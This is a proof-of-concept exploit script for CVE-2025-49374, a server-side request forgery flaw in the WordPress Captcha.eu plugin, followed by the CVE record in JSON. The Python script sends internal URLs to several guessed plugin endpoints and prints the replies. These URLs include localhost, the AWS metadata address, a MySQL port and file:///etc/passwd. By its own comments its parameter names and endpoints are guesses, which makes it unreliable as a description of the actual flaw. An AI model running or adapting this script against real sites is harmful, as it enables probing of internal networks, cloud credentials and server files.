CVE-2025-49374

# CVE-2025-49374 - Captcha.eu SSRF PoC # Vulnerability: Server-Side Request Forgery in WordPress Captcha.eu Plugin <= 1.0.61 # Researcher: [email protected] import requests TARGET_URL = "http://target-wordpress-site.com" # SSRF target - can be internal service or cloud metadata endpoint SSRF_TARGETS = [ "http://127.0.0.1:80", # Localhost "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://[::1]/", # IPv6 localhost "http://0.0.0.0:3306/", # MySQL default port "file:///etc/passwd", # Local file read ] def exploit_ssrf(target_endpoint, ssrf_url): """ Exploit SSRF by injecting a malicious URL into the vulnerable parameter of the Captcha.eu plugin endpoint. """ payload = { # Parameter name may vary depending on the vulnerable code path "url": ssrf_url, "endpoint": ssrf_url, "callback": ssrf_url, "verify_url": ssrf_url, } try: response = requests.post( f"{TARGET_URL}{target_endpoint}", data=payload, timeout=10, verify=False ) print(f"[+] Target: {ssrf_url}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") if response.status_code == 200 and len(response.text) > 0: print(f"[+] Response preview: {response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Common vulnerable endpoints in Captcha.eu plugin endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/captcha-eu/v1/verify", "/wp-content/plugins/captcha-eu/verify.php", ] for endpoint in endpoints: for ssrf_target in SSRF_TARGETS: print(f"\n[*] Testing endpoint: {endpoint}") if exploit_ssrf(endpoint, ssrf_target): print(f"[!!!] SSRF confirmed with target: {ssrf_target}") break

{"cve": {"id": "CVE-2025-49374", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:35.447", "lastModified": "2026-04-27T20:16:13.880", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in captcha.eu Captcha.eu captcha-eu allows Server Side Request Forgery.This issue affects Captcha.eu: from n/a through <= 1.0.61."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/captcha-eu/vulnerability/wordpress-captcha-eu-plugin-1-0-61-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}